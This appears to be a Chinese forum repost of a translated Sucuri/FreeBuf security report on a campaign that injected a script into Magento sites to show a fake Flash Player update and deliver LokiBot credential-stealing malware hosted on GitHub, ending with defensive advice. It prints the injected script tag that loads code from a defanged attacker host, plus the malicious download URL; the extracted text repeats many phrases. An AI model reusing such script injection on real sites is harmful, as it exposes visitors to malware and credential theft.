搜索

[12565] 2018-04-08_黑客利用GitHub将恶意软件推送至用户电脑以盗取凭据

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2018-04-08_黑客利用GitHub将恶意软件推送至用户电脑以盗取凭据 黑 客 利 用 G i t H u b 将 恶 意 软 件 推 送 至 用 户 电 脑 以 盗 取 凭 据 s e c i s t   F r e e B u f   2 0 1 8 - 0 4 - 0 8 几 个 月 前 ， 我 们 曾 发 布 了 有 关 网 络 罪 犯 如 何 使 用 几 个 月 前 ， 我 们 曾 发 布 了 有 关 网 络 罪 犯 如 何 使 用 G i t H u b 在 被 黑 网 站 上 加 载 各 种 加 密 货 币 矿 工 的 报 告 文 章 。 不 幸 在 被 黑 网 站 上 加 载 各 种 加 密 货 币 矿 工 的 报 告 文 章 。 不 幸 的 是 即 便 如 此 ， 我 们 依 然 没 能 阻 止 网 络 罪 犯 们 的 脚 步 。 如 今 ， 我 们 又 发 现 了 使 用 相 同 手 法 的 网 络 犯 罪 活 动 。 其 的 是 即 便 如 此 ， 我 们 依 然 没 能 阻 止 网 络 罪 犯 们 的 脚 步 。 如 今 ， 我 们 又 发 现 了 使 用 相 同 手 法 的 网 络 犯 罪 活 动 。 其 主 要 目 的 是 利 用 主 要 目 的 是 利 用 G i t H u b ， 将 二 进 制 信 息 窃 取 恶 意 软 件 悄 无 声 息 的 推 送 至 ， 将 二 进 制 信 息 窃 取 恶 意 软 件 悄 无 声 息 的 推 送 至 W i n d o w s 用 户 的 电 脑 上 。 用 户 的 电 脑 上 。 受 感 染 的 受 感 染 的 M a g e n t o 网 站 网 站 最 近 ， 识 别 了 数 百 个 受 感 染 的 M a g e n t o 站 点 均 被 注 入 了 以 下 的 脚 本 ： 该 脚 本 （ j s . j s ） 中 的 内 容 如 下 ： 此 代 码 会 创 建 隐 藏 的 d i v ， 并 在 短 暂 延 迟 后 在 正 常 网 站 内 容 上 方 显 示 假 的 假 的 F l a s h   P l a y e r 更 新 更 新 b a n n e r 。 这 个 攻 击 与 之 前 攻 击 的 区 别 主 要 在 于 下 载 U R L ， 它 指 向 了 G i t H u b 上 的 一 个 恶 意 文 件 ： h t t p s : / / g i t h u b [ . ] c o m / f l a s h p l a y e r 3 1 / f l a s h / r a w / m a s t e r / f l a s h p l a y e r 2 8 p p _ x a _ i n s t a l l . e x e 3 月 1 3 日 ， 我 们 将 该 文 件 上 传 至 V i r u s T o t a l 进 行 检 测 ， 结 果 有 一 半 以 上 的 杀 毒 软 件 都 认 为 该 文 件 为 木 马 病 毒 。 当 我 们 将 它 发 送 给 M a l w a r e b y t e s 的 J e r o m e   S e g u r a 时 ， 他 认 为 该 文 件 是 L o k i B o t 信 息 窃 取 恶 意 软 件 的 变 体 。 检 查 检 查 G i t H u b 存 储 库 存 储 库 在 包 含 恶 意 文 件 的 G i t H u b 存 储 库 中 ， 可 以 找 到 对 较 差 检 测 率 的 答 案 ： h t t p s : / / g i t h u b . c o m / f l a s h p l a y e r 3 1 / f l a s h < s c r i p t   t y p e = " t e x t / j a v a s c r i p t "   s r c = " h t t p s : / / b i t . w o [ . ] t c / j s / l i b / j s . j s " > < / s c r i p t >
帐 户 （ f l a s h p l a y e r 3 1 ） 和 存 储 库 （ f l a s h ） 都 是 在 2 0 1 8 年 3 月 8 日 被 创 建 的 ， 也 就 是 说 在 我 们 检 测 到 恶 意 内 容 之 前 还 不 到 一 周 。 G i t H u b 存 储 库 只 包 含 两 个 文 件 ： f l a s h p l a y e r 2 8 p p _ x a _ i n s t a l l . e x e （ 在 以 上 部 分 已 做 介 绍 ） 和 f l a s h p l a y e r 2 8 p p _ x a _ i n s t a l l . i s o   -   包 含 I S O 映 像 的 特 洛 伊 木 马 ， 其 中 包 含 恶 意 / F L A S H P L A . E X E 。 如 果 你 检 查 存 储 库 中 的 提 交 历 史 记 录 ， 你 会 发 现 这 两 个 二 进 制 文 件 每 天 至 少 会 被 更 新 一 次 。 攻 击 者 之 所 以 要 频 繁 的 重 新 打 包 二 进 制 文 件 ， 是 为 了 尽 可 能 的 躲 避 杀 毒 软 件 的 查 杀 ， 然 后 将 更 改 推 送 到 G i t ， 这 就 是 为 什 么 我 们 在 V i r u s T o t a l 上 主 要 看 到 通 用 和 启 发 式 警 告 的 原 因 。 更 新 后 的 文 件 可 以 立 即 从 G i t H u b 上 的 主 分 支 下 载 。 整 个 过 程 可 以 完 全 自 动 化 的 完 成 ， 并 且 可 以 在 没 有 任 何 人 为 干 预 的 情 况 下 工 作 。 将 将 G i t H u b 作 为 恶 意 软 件 的 托 管 环 境 作 为 恶 意 软 件 的 托 管 环 境 G i t H u b 对 于 攻 击 者 而 言 作 为 托 管 环 境 有 以 下 几 点 优 势 ： 它 可 以 免 费 使 用 它 适 用 于 自 动 化 该 域 名 信 誉 度 高 ， 不 易 被 安 全 工 具 列 入 黑 名 单 虽 然 我 们 可 以 对 该 账 户 投 诉 并 最 终 禁 用 它 ， 但 是 这 需 要 很 长 一 段 时 间   -   从 滥 用 投 诉 到 帐 户 关 闭   -   并 且 可 以 在 几 分 钟 内 创 建 新 的 配 置 文 件 。 凭 据 窃 取 恶 意 软 件 凭 据 窃 取 恶 意 软 件 让 我 们 回 到 恶 意 软 件 本 身 。 L o k i B o t 被 定 义 为 “ i n f o s t e a l e r （ 信 息 窃 取 木 马 ） ” ， 因 为 它 能 够 从 各 种 流 行 的 电 子 邮 件 客 户 端 和 W e b 浏 览 器 中 窃 取 凭 证 。 该 恶 意 软 件 还 能 够 窃 取 来 自 数 十 个 F T P 客 户 端 （ 例 如 F i l e Z i l l a ， F l a s h F X P ， W S _ F T P 等 ） 和 S S H 程 序 （ 例 如 P U T T Y ） 的 登 录 详 细 信 息 ， 这 对 于 网 站 管 理 员 和 网 站 开 发 人 员 网 站 管 理 员 和 网 站 开 发 人 员 都 是 非 常 危 险 的 ， 攻 击 者 极 有 可 能 从 他 们 的 站 点 和 服 务 器 窃 取 他 们 的 凭 证 。 在 6 - 1 0 年 前 ， 这 是 黑 客 入 侵 网 站 最 流 行 的 媒 介 。 一 旦 网 站 管 理 员 的 计 算 机 受 到 感 染 ， 恶 意 软 件 会 简 单 地 扫 描 保 存 的 F T P 凭 据 （ 大 多 数 F T P 客 户 端 以 纯 文 本 格 式 保 存 ） 的 文 件 ， 然 后 将 结 果 发 送 到 控 制 服 务 器 。 虽 然 这 种 攻 击 媒 介 现 在 不 那 么 受 欢 迎 ， 但 你 仍 然 不 能 低 估 它 潜 在 的 威 胁 。 降 低 凭 据 窃 取 恶 意 软 件 带 来 的 风 险 降 低 凭 据 窃 取 恶 意 软 件 带 来 的 风 险 自 2 0 0 8 年 开 始 我 的 网 站 安 全 工 作 以 来 ， 我 对 站 点 管 理 员 的 建 议 并 没 有 太 大 改 变 。 为 防 止 你 的 站 点 凭 据 被 盗 ， 请 确 保 你 所 维 护 站 点 的 计 算 机 和 设 备 未 受 感 染 。 你 可 以 安 装 一 些 知 名 度 和 声 誉 较 高 的 防 护 软 件 ， 并 定 期 修 补 / 更 新 操 作 系 统 以 及 基 本 网 络 软 件 ， 包 括 浏 览 器 ， F T P 客 户 端 ， C M S 等 。 当 然 ， 这 些 更 新 都 应 来 自 软 件 本 身 ， 而 不 是 来 自 不 相 关 的 第 三 方 网 站 。
你 还 应 该 避 免 将 密 码 保 存 在 除 可 信 度 较 高 的 任 何 其 它 密 码 管 理 器 以 外 的 程 序 中 。 不 要 让 F i l e Z i l l a 保 存 你 的 F T P 密 码 ， 也 不 要 在 浏 览 器 中 存 储 任 何 网 站 ， 网 络 邮 件 或 银 行 的 密 码 。 如 果 条 件 允 许 ， 我 强 烈 建 议 你 使 用 私 钥 认 证 和 / 或 双 因 素 认 证 。 使 用 S F T P 而 不 是 F T P   -   如 今 大 多 数 的 托 管 提 供 商 都 包 含 了 此 选 项 。 最 后 ， 如 果 你 的 密 码 已 被 窃 取 （ 或 任 何 安 全 事 件 之 后 ） ， 请 尽 快 更 改 你 的 密 码 。 遵 循 这 些 步 骤 将 能 最 大 程 度 的 降 低 你 凭 据 失 窃 的 风 险 。 * 参 考 来 源 ： 参 考 来 源 ： s u c u r i ， ， F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理